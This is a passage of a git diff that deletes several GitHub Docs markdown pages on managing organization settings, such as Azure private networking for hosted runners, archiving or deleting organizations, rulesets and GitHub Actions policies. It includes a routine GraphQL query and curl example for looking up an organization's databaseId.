/approving-oauth-apps-for-your-organization - - /denying-access-to-a-previously-approved-oauth-app-for-your-organization -shortTitle: Manage OAuth access ---- - diff --git a/content/organizations/managing-organization-settings/about-azure-private-networking-for-github-hosted-runners-in-your-organization.md b/content/organizations/managing-organization-settings/about-azure-private-networking-for-github-hosted-runners-in-your-organization.md deleted file mode 100644 index ecac385eda2e..000000000000 --- a/content/organizations/managing-organization-settings/about-azure-private-networking-for-github-hosted-runners-in-your-organization.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: About Azure private networking for GitHub-hosted runners in your organization -shortTitle: About Azure private networking -intro: 'You can create a private network configuration for your organization to use {% data variables.product.company_short %}-hosted runners in your Azure Virtual Network(s) (VNET).' -versions: - feature: actions-private-networking-azure-vnet -type: overview -permissions: '{% data reusables.actions.azure-vnet-organization-permissions %}' -topics: - - Actions - - Action development - - Azure Virtual Network - - Administrator - - Developer - - CI - - CD - - Organizations -redirect_from: - - /organizations/managing-organization-settings/about-using-github-hosted-runners-in-your-azure-virtual-network ---- - -## About Azure private networking for {% data variables.product.company_short %}-hosted runners - -{% data reusables.actions.azure-vnet-network-configuration-intro %} - -{% data reusables.actions.azure-vnet-intro-capabilities %} - -## About using larger runners with Azure VNET - -{% data reusables.actions.azure-vnet-about-larger-runners %} - -## About network communication - -{% data reusables.actions.azure-vnet-network-communication %} - -## About supported regions - -{% data reusables.actions.azure-vnet-supported-regions %} - -## About the {% data variables.product.prodname_actions %} service permissions - -{% data reusables.actions.azure-vnet-actions-service-permissions %} - -## Using your VNET's network policies - -{% data reusables.actions.azure-vnet-networking-policies %} - -## Using {% data variables.product.company_short %}-hosted runners with an Azure VNET - -{% data reusables.actions.azure-vnet-next-steps-links %} diff --git a/content/organizations/managing-organization-settings/about-networking-for-hosted-compute-products-in-your-organization.md b/content/organizations/managing-organization-settings/about-networking-for-hosted-compute-products-in-your-organization.md deleted file mode 100644 index 8cf2a370bd6b..000000000000 --- a/content/organizations/managing-organization-settings/about-networking-for-hosted-compute-products-in-your-organization.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: About networking for hosted compute products in your organization -shortTitle: About private networking -intro: 'You can manage private networking for {% data variables.product.company_short %}-hosted products using network configurations in your organization.' -permissions: '{% data reusables.actions.azure-vnet-organization-permissions %}' -versions: - feature: actions-private-networking-azure-vnet -type: how_to -topics: - - Actions - - Action development - - Azure Virtual Network - - Administrator - - Developer - - CI - - CD - - Organizations ---- - -## About network configurations - -{% data reusables.actions.about-network-configurations %} - -## About Azure private networking for {% data variables.product.prodname_dotcom %}-hosted runners - -{% data reusables.actions.azure-vnet-network-configuration-intro %} - -{% ifversion ghec %} - -{% data reusables.actions.azure-vnet-enterprise-policy %} - -{% endif %} - -For more information about how using an Azure VNET with {% data variables.product.company_short %}-hosted runners works, see [AUTOTITLE](/organizations/managing-organization-settings/about-azure-private-networking-for-github-hosted-runners-in-your-organization). - -{% data reusables.actions.azure-vnet-next-steps-links %} diff --git a/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md b/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md deleted file mode 100644 index bc9ba8af2ae9..000000000000 --- a/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Allowing people to delete issues in your organization -intro: Organization owners can allow certain people to delete issues in repositories owned by your organization. -redirect_from: - - /articles/allowing-people-to-delete-issues-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-delete-issues-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Allow issue deletion ---- - -By default, issues cannot be deleted in an organization's repositories. An organization owner must enable this feature for all of the organization's repositories first. - -Once enabled, organization owners and people with admin access in an organization-owned repository can delete issues. People with admin access in a repository include organization members and outside collaborators who were given admin access. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) and [AUTOTITLE](/issues/tracking-your-work-with-issues/deleting-an-issue). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -1. Under "Issue deletion", select **Allow members to delete issues for this organization**. -1. Click **Save**. diff --git a/content/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization.md b/content/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization.md deleted file mode 100644 index 951b7a11c583..000000000000 --- a/content/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Allowing project visibility changes in your organization -intro: 'Organization owners can allow members with admin permissions to adjust the visibility of {% data variables.projects.projects_v2_and_v1 %} in their organization.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Projects -shortTitle: Project visibility permissions -allowTitleToDifferFromFilename: true -permissions: 'Organization owners can allow {% data variables.projects.project_v2_and_v1 %} visibility changes for an organization.' ---- - -## About visibility changes for projects - -You can restrict who has the ability to change the visibility of {% data variables.projects.projects_v2_and_v1 %} in your organization, such as restricting members from changing {% data variables.projects.projects_v2_and_v1 %} from private to public. - -You can limit the ability to change {% data variables.projects.project_v2_and_v1 %} visibility to just organization owners, or you can allow anyone granted admin permissions to change the visibility. - -{% ifversion project-visibility-policy %} -This option may not be available to you if an enterprise owner restricts visibility changes for {% data variables.projects.projects_v2_and_v1 %} at the enterprise level. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise). -{% endif %} - -## Allowing members to change project visibilities - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "table" aria-hidden="true" %} Projects**. -1. To allow members to adjust project visibility, select **Allow members to change project visibilities for this organization**. -1. Click **Save**. - -## Further reading - -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects){%- ifversion projects-v1 %} -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility) -{% endif %} diff --git a/content/organizations/managing-organization-settings/archiving-an-organization.md b/content/organizations/managing-organization-settings/archiving-an-organization.md deleted file mode 100644 index 03697dfe7a7a..000000000000 --- a/content/organizations/managing-organization-settings/archiving-an-organization.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Archiving an organization -shortTitle: Archive an organization -intro: You can archive an organization to make it read-only and indicate that it's no longer actively maintained. You can also unarchive organizations that have been archived. -permissions: Organization owners can archive an organization. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Organizations ---- - -{% ifversion fpt or ghec %} - -> [!NOTE] -> You can only archive an organization if it's using {% data variables.product.prodname_free_team %} or if the organization is part of an enterprise. If you want to archive an individually-billed organization, you must downgrade your organization to {% data variables.product.prodname_free_team %} first. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription). - -{% endif %} - -## About archiving your organization - -When you archive an organization, all repositories in the organization will be archived as well. This means that all issues, pull requests, and comments will be read-only. A key will be set in the API to indicate the organization has been archived. Many actions that can be performed in an organization will be disabled, including creating new repositories. You will still be able to delete repositories. You will also still be able to transfer repositories out of the organization, for example, to give a project to a user who is taking over active maintenance. - -When an organization is archived, visitors to the organization's profile will see a banner indicating that it has been archived. The repositories in the organization will now have a badge and a banner on their home page indicating that they are read-only. - -The difference between archiving individual repositories and archiving an entire organization is that, in archived organizations, individual repositories may not be unarchived independently. The whole organization is read-only and must be unarchived for any repository to be writeable again. - -You can also delete an organization. Deleting your organization account permanently removes all repositories, forks of private repositories, wikis, issues, pull requests, and project or organization pages. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/deleting-an-organization-account). - -## Archiving your organization - -You can archive your organization to make it read-only and indicate that it's no longer actively maintained. Prior to archiving, consider updating your organization's profile and README with context about why it's archived. To add an organization-wide README, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Danger zone" section, click **Archive this organization**. -1. Read the warning. If you want to proceed, type the organization's name, then click **Archive the organization**. - -You will see a notice at the top of the page indicating that the archiving process has started. The archiving process runs in the background and does not require any user interaction. Once the process is complete, the organization's profile will display a banner indicating the organization has been archived. - -## Unarchiving your organization - -You can unarchive an organization that has been archived. This will re-enable the ability to unarchive individual repositories in the organization, but will not automatically unarchive them. It will also re-enable the creation of new repositories. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Danger zone" section, click **Unarchive this organization**. -1. Read the warning. If you want to proceed, type the organization's name, then click **Unarchive the organization**. diff --git a/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md b/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md deleted file mode 100644 index 44c59f61d7d3..000000000000 --- a/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Changing the visibility of your organization's dependency insights -intro: You can allow all organization members to view dependency insights for your organization or limit viewing to organization owners. -redirect_from: - - /articles/changing-the-visibility-of-your-organizations-dependency-insights - - /github/setting-up-and-managing-organizations-and-teams/changing-the-visibility-of-your-organizations-dependency-insights -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Change insight visibility ---- - -Organization owners can set limitations for viewing organization dependency insights. All members of an organization can view organization dependency insights by default. - -Enterprise owners can set limitations for viewing organization dependency insights on all organizations in your enterprise account. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise#enforcing-a-policy-for-visibility-of-dependency-insights). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -1. Under "Member organization permissions", select or deselect **Allow members to view dependency insights**. -1. Click **Save**. diff --git a/content/organizations/managing-organization-settings/configuring-private-networking-for-github-hosted-runners-in-your-organization.md b/content/organizations/managing-organization-settings/configuring-private-networking-for-github-hosted-runners-in-your-organization.md deleted file mode 100644 index a50df4a014f0..000000000000 --- a/content/organizations/managing-organization-settings/configuring-private-networking-for-github-hosted-runners-in-your-organization.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Configuring private networking for GitHub-hosted runners in your organization -shortTitle: Configuring private networking -intro: 'Learn how to use {% data variables.product.company_short %}-hosted runners with an Azure private network in your organization.' -versions: - feature: actions-private-networking-azure-vnet -type: how_to -permissions: '{% data reusables.actions.azure-vnet-organization-permissions %}' -topics: - - Actions - - Action development - - Azure Virtual Network - - Administrator - - Developer - - CI - - CD - - Organizations ---- - -## About Azure private networking for {% data variables.product.company_short %}-hosted runners - -{% data reusables.actions.azure-vnet-configuring-overview %} - -{% ifversion ghec %} - -> [!NOTE] -> {% data reusables.actions.azure-vnet-enterprise-policy %} - -{% endif %} - -## Configuring your Azure resources - -{% data reusables.actions.azure-vnet-procedures-prereqs %} - -### 1. Obtain the `databaseId` for your organization - -You can use the following GraphQL query to retrieve your organization `databaseId`. You will use the organization `databaseId` for the value of the `DATABASE_ID` environment variable in the next step. For more information on working with GraphQL, see [AUTOTITLE](/graphql/guides/forming-calls-with-graphql). - -| Query variable | Description | -|----|----| -| `login` | The login for your organization account, which you can identify by looking at the URL for your organization, `https://github.com/organizations/ORGANIZATION_LOGIN`. - -```graphql -query( - $login: String! -){ - organization (login: $login) - { - login - databaseId - } -} -' -Variables -{ - "login": "ORGANIZATION_LOGIN" -} -``` - -Alternatively, you can use the following curl command to find your `databaseId`. - -```shell copy -curl -H "Authorization: Bearer BEARER_TOKEN" -X POST \ - -d '{ "query": "query($login: String!) { organization (login: $login) { login databaseId } }" , - "variables": { - "login": "ORGANIZATION_LOGIN" - } - }' \ -https://api.github.com/graphql -``` - -{% data reusables.actions.azure-vnet-configure-azure-resources-script %} - -## Creating a network configuration for your organization in {% data variables.product.company_short %} - -{% data reusables.actions.azure-vnet-creating-network-configuration-prereqs %} - -### 1. Add a new network configuration for your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, click **Hosted compute networking**. -1. Click the **New network configuration** dropdown. Then click **Azure private network**. -1. Name your network configuration. -1. Click **Add Azure Virtual Network**. -1. In the popup window, enter the network settings resource ID you retrieved when you configured your Azure resources for private networking. -1. Click **Add Azure Virtual Network**. - -### 2. Create a runner group for your organization - -> [!NOTE] -> For the runner group to be accessible by repositories within your organizations, those repositories must have access to that runner group at the organization level. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/controlling-access-to-larger-runners#changing-which-repositories-can-access-a-runner-group). - -1. Create a new runner group for your organization. For more information about how to create a runner group, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners/controlling-access-to-larger-runners#creating-a-runner-group-for-an-organization). -1. To choose a policy for repository access, select the **Repository access** dropdown menu and click a policy. You can configure a runner group to be accessible to a specific list of repositories, or all repositories in the organization. -1. While configuring your runner group, under "Network configurations," use the dropdown menu to select the network configuration you created for the Azure VNET. -1. To create the group and apply the policy, click **Create group**. - -### 3. Add the {% data variables.product.company_short %}-hosted runner to the organization runner group - -> [!NOTE] -> When adding your {% data variables.product.company_short %}-hosted runner to a runner group, select the runner group you created in the previous procedures. - -1. Add the {% data variables.product.company_short %}-hosted runner to the runner group. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners/managing-larger-runners#adding-a-larger-runner-to-an-organization). - -### 4. Optionally, manage network configurations - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, click **Hosted compute networking**. -1. To edit a network configuration, to the right of the network configuration, click {% octicon "pencil" aria-label="Edit a network configuration" %}. Then click **Edit configuration**. -1. To disable a network configuration, to the right of the network configuration, click {% octicon "kebab-horizontal" aria-label="Menu" %}. Then click **Disable**. -1. To delete a network configuration, to the right of the network configuration, click {% octicon "kebab-horizontal" aria-label="Menu" %}. Then click **Delete**. - -## Deleting a subnet - -{% data reusables.actions.azure-vnet-deleting-a-subnet %} diff --git a/content/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization.md b/content/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization.md deleted file mode 100644 index a127f93d05b8..000000000000 --- a/content/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Configuring the retention period for GitHub Actions artifacts and logs in your organization -intro: 'You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your organization.' -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Configure retention period ---- - -{% data reusables.actions.about-artifact-log-retention %} - -## Setting the retention period for an organization - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -{% data reusables.actions.change-retention-period-for-artifacts-logs %} diff --git a/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md b/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md deleted file mode 100644 index a12431bb411e..000000000000 --- a/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Converting an organization into a user -intro: 'It''s not possible to convert an organization into a personal account, but you can create a new personal account and transfer the organization''s repositories to it.' -redirect_from: - - /articles/converting-an-organization-into-a-user - - /github/setting-up-and-managing-organizations-and-teams/converting-an-organization-into-a-user -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Convert organization to user ---- - -{% ifversion fpt or ghec %} - -> [!NOTE] -> After an account is deleted, the username at the time of deletion becomes unavailable for reuse for 90 days. To reuse an organization's username immediately, you must change the username before you delete the organization. - -1. [Sign up](/get-started/start-your-journey/creating-an-account-on-github) for a new account on GitHub. -1. [Have the user's role changed to an owner](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization). -1. Sign in to the new personal account. -1. [Transfer each organization repository](/repositories/creating-and-managing-repositories/transferring-a-repository) to the new personal account. -1. [Rename the organization](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username) to make the current username available. -1. [Rename the user](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username) to the organization's name. -1. [Delete the organization](/organizations/managing-organization-settings/deleting-an-organization-account). - -{% else %} - -1. Sign up for a new GitHub Enterprise personal account. -1. [Have the user's role changed to an owner](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization). -1. Sign in to the new personal account. -1. [Transfer each organization repository](/repositories/creating-and-managing-repositories/transferring-a-repository) to the new personal account. -1. [Delete the organization](/organizations/managing-organization-settings/deleting-an-organization-account). -1. [Rename the user](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username) to the organization's name. - -{% endif %} diff --git a/content/organizations/managing-organization-settings/creating-an-announcement-banner-for-your-organization.md b/content/organizations/managing-organization-settings/creating-an-announcement-banner-for-your-organization.md deleted file mode 100644 index 35b9b8554522..000000000000 --- a/content/organizations/managing-organization-settings/creating-an-announcement-banner-for-your-organization.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Creating an announcement banner for your organization -shortTitle: Create an announcement banner -intro: Organization owners can create announcement banners for the organization. -versions: - ghes: '*' - ghec: '*' -type: how_to -topics: - - Maintenance ---- - -{% ifversion ghec %} - -> [!NOTE] -> To create an announcement banner, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} - -{% endif %} - -You can create an announcement banner that will be displayed to all organization members at the top of every page in the organization. - -{% data reusables.enterprise.user-messages-markdown %} - -You can also set announcement banners at the enterprise level. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Messages" section of the sidebar, click **{% octicon "megaphone" aria-hidden="true" %} Announcement**. -1. Under "Announcement", in the text field, type the announcement you want displayed in a banner. -1. Optionally, under "Expires on", select the calendar drop-down menu and click an expiration date. - - > [!NOTE] - > Announcements must either have an expiration date, be user dismissible, or both. - -1. Optionally, to allow each user to dismiss the announcement, select **Allow users to dismiss the announcement**. -{% data reusables.enterprise_site_admin_settings.message-preview-save %} diff --git a/content/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization.md b/content/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization.md deleted file mode 100644 index 493b0c1e076e..000000000000 --- a/content/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Creating rulesets for repositories in your organization -intro: 'You can create a ruleset to target multiple repositories in your organization.' -versions: - feature: repo-rules-enterprise -permissions: 'Organization owners can create rulesets at the organization level.' -topics: - - Organizations -shortTitle: Create rulesets ---- - -## Introduction - -You can create rulesets in your organization to control how users can interact with repositories in your organization. You can control things like who can push commits to a certain branch and how the commits must be formatted, or who can delete or rename a tag. You can also prevent people from renaming repositories. - -{% ifversion push-rulesets %} - -{% data reusables.repositories.rulesets-push-rulesets-intro %} - -{% endif %} - -Forks do not inherit branch or tag rulesets from their upstream repositories. However, forks owned by your organization are subject to the rulesets you create, like any other repository. - -{% ifversion push-rulesets %} - -Forks _do_ inherit push rulesets from their root repository. {% data reusables.repositories.rulesets-push-rulesets-fork-network-information %} - -{% endif %} - -## Importing prebuilt rulesets - -To import one of the prebuilt rulesets by {% data variables.product.prodname_dotcom %}, see [`github/ruleset-recipes`](https://github.com/github/ruleset-recipes). - -{% ifversion repo-rules-management %} -{% data reusables.repositories.import-a-ruleset-conceptual %} For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization#using-ruleset-history).{% endif %} - -## Using `fnmatch` syntax - -{% data reusables.repositories.rulesets-fnmatch %} -{% ifversion repo-rules-enterprise %} - -## Using regular expressions for commit metadata - -{% data reusables.repositories.rulesets-commit-regex %} - -{% endif %} - -## Using ruleset enforcement statuses - -{% data reusables.repositories.rulesets-about-enforcement-statuses %} - -## Creating a branch or tag ruleset - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.access-ruleset-settings %} -{% data reusables.repositories.create-ruleset-step %} -{% data reusables.repositories.rulesets-general-step %} - -### Granting bypass permissions for your branch or tag ruleset - -{% data reusables.repositories.rulesets-bypass-step %} -{% data reusables.repositories.rulesets-branch-tag-bypass-optional-step %} - -### Choosing which repositories to target in your organization - -{% data reusables.organizations.organization-rulesets-targeting-repositories-step %} - -### Choosing which branches or tags to target - -{% data reusables.repositories.rulesets-target-branches %} - -### Selecting branch or tag protections - -{% data reusables.repositories.rulesets-protections-step %} - -### Adding metadata restrictions - -{% data reusables.repositories.rulesets-metadata-step %} - -### Finalizing your branch or tag ruleset and next steps - -{% data reusables.repositories.rulesets-create-and-insights-step %} - -{% ifversion push-rulesets %} - -## Creating a push ruleset - -{% data reusables.repositories.push-rules-fork-network-note %} - -You can create a push ruleset for private or internal repositories in your organization. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.access-ruleset-settings %} -{% data reusables.repositories.create-push-ruleset-step %} -{% data reusables.repositories.rulesets-general-step %} - -### Granting bypass permissions for your push ruleset - ->[!NOTE] Bypass permissions for push rulesets that target a repository will be inherited by the entire fork network for this repository. {% data reusables.repositories.rulesets-push-rulesets-bypass-permissions %} - -{% data reusables.repositories.rulesets-bypass-step %} - -### Choosing which repositories to target in your organization - -{% data reusables.organizations.organization-rulesets-targeting-repositories-step %} - -### Selecting push protections - -{% data reusables.repositories.rulesets-push-rules-step %} - -### Finalizing your push ruleset and next steps - -{% data reusables.repositories.rulesets-create-and-insights-step %} - -{% endif %} diff --git a/content/organizations/managing-organization-settings/deleting-an-organization-account.md b/content/organizations/managing-organization-settings/deleting-an-organization-account.md deleted file mode 100644 index 7cc26b330ecb..000000000000 --- a/content/organizations/managing-organization-settings/deleting-an-organization-account.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Deleting an organization account -intro: 'You can delete your organization account at any time.' -permissions: Organization owners can delete an organization. -redirect_from: - - /articles/deleting-an-organization-account - - /github/setting-up-and-managing-organizations-and-teams/deleting-an-organization-account -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Delete organization ---- - -## About deletion of your organization account - -{% ifversion fpt or ghec %} - -> [!TIP] -> If you want to cancel your paid subscription, you can [downgrade your organization to {% data variables.product.prodname_free_team %}](/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan) instead of deleting the organization and its content. - -{% endif %} -Deleting your organization account removes all repositories, forks of private repositories, wikis, issues, pull requests, and project or organization pages. {% ifversion fpt or ghec %}Your billing will end and, after 90 days, the organization name becomes available for use on a new user or organization account. - -> [!TIP] -> If you rename an organization, you can create a new organization with the same name immediately. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/renaming-an-organization). - -{% endif %} - -{% ifversion fpt or ghec %} - -{% data reusables.accounts.delete-account-repo-namespace-retirement %} - -{% endif %} - -{% data reusables.package_registry.delete-account-namespace-retirement %} - -You can also archive an organization, instead of deleting it. Archiving an organization will make it read-only. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/archiving-an-organization). - -## Backing up your organization content - -{% ifversion not ghes %} After you delete an organization, {% data variables.product.company_short %} **cannot restore your content**. Therefore, before{% else %}Before{% endif %} you delete your organization, make sure you have a copy of all repositories, wikis, issues, and projects from the account. - -{% ifversion ghes %} - -> [!NOTE] -> If necessary, a site administrator for {% data variables.location.product_location %} may be able to partially restore a deleted organization. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/restoring-a-deleted-organization). - -{% endif %} - -## Deleting your organization account - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Danger zone" section, click **Delete this organization**. -1. Read the warning. If you want to proceed, type the organization's name, then click **Cancel plan and delete the organization**. diff --git a/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md deleted file mode 100644 index e07ef88e31b7..000000000000 --- a/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: Disabling or limiting GitHub Actions for your organization -intro: 'You can enable, disable, and limit GitHub Actions for an organization.' -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -permissions: Organization owners{% ifversion custom-org-roles %} and users with the "Manage organization Actions policies" and "Manage runners and runner groups" fine-grained permissions{% endif %} can enable, disable, and limit {% data variables.product.prodname_actions %} for an organization. {% ifversion custom-org-roles %}

For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %} -topics: - - Organizations - - Teams -shortTitle: Disable or limit actions ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About {% data variables.product.prodname_actions %} permissions for your organization - -{% data reusables.actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/learn-github-actions). - -You can enable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.actions.disabled-actions-description %} - -Alternatively, you can enable {% data variables.product.prodname_actions %} for all repositories in your organization but limit the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} a workflow can run. - -## Managing {% data variables.product.prodname_actions %} permissions for your organization - -You can choose to disable {% data variables.product.prodname_actions %} for all repositories in your organization, or only allow specific repositories. You can also limit the use of public actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, so that people can only use local actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that exist in your {% ifversion ghec or ghes %}enterprise{% else %}organization{% endif %}. - -> [!NOTE] -> You might not be able to manage these settings if your organization is managed by an enterprise that has overriding policy. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -1. Under "Policies", select an option. - - {% indented_data_reference reusables.actions.actions-use-policy-settings spaces=3 %} -1. Click **Save**. - -{% data reusables.actions.allow-specific-actions-intro %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -1. Under "Policies", select {% data reusables.actions.policy-label-for-select-actions-workflows %} and add your required actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} to the list. -1. Click **Save**. - -## Limiting the use of self-hosted runners - -{% data reusables.actions.disable-selfhosted-runners-overview %} - -{% ifversion ghec or ghes %} - -> [!NOTE] -> If your organization belongs to an enterprise, creation of self-hosted runners at the repository level may have been disabled as an enterprise-wide setting. If this has been done, you cannot enable repository-level self-hosted runners in your organization settings. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). - -{% endif %} - -If a repository already has self-hosted runners when you disable their use, these will be listed with the status "Disabled" and they will not be assigned any new workflow jobs. - -![Screenshot of the "Runners" list showing a self-hosted runner with the status "Disabled."](/assets/images/help/actions/actions-runners-disabled.png) - -{% data reusables.actions.disable-selfhosted-runners-note %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -1. Under "Runners," use the dropdown menu to choose your preferred setting: - * **All repositories** - self-hosted runners can be used for any repository in your organization. - * **Selected repositories** - self-hosted runners can only be used for the repositories you select. - * **Disabled** - self-hosted runners cannot be created at the repository level. -1. If you choose **Selected repositories**: - 1. Click {% octicon "gear" aria-label="Select repositories" %}. - 1. Select the check boxes for the repositories for which you want to allow self-hosted runners. - 1. Click **Select repositories**. - -{% ifversion fpt or ghec %} - -## Configuring required approval for workflows from public forks - -{% data reusables.actions.workflow-run-approve-public-fork %} - -You can configure this behavior for an organization using the procedure below. Modifying this setting overrides the configuration set at the enterprise level. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -{% data reusables.actions.workflows-from-public-fork-setting %} - -{% data reusables.actions.workflow-run-approve-link %} -{% endif %} - -## Enabling workflows for private repository forks - -{% data reusables.actions.private-repository-forks-overview %} - -{% ifversion ghec or ghes %}If a policy is disabled for an enterprise, it cannot be enabled for organizations.{% endif %} If a policy is disabled for an organization, it cannot be enabled for repositories. If an organization enables a policy, the policy can be disabled for individual repositories. - -{% data reusables.actions.private-repository-forks-options %} - -### Configuring the private fork policy for an organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -{% data reusables.actions.private-repository-forks-configure %} - -## Setting the permissions of the `GITHUB_TOKEN` for your organization - -{% data reusables.actions.workflow-permissions-intro %} - -You can set the default permissions for the `GITHUB_TOKEN` in the settings for your organization or your repositories. If you select a restrictive option as the default in your organization settings, the same option is selected in the settings for 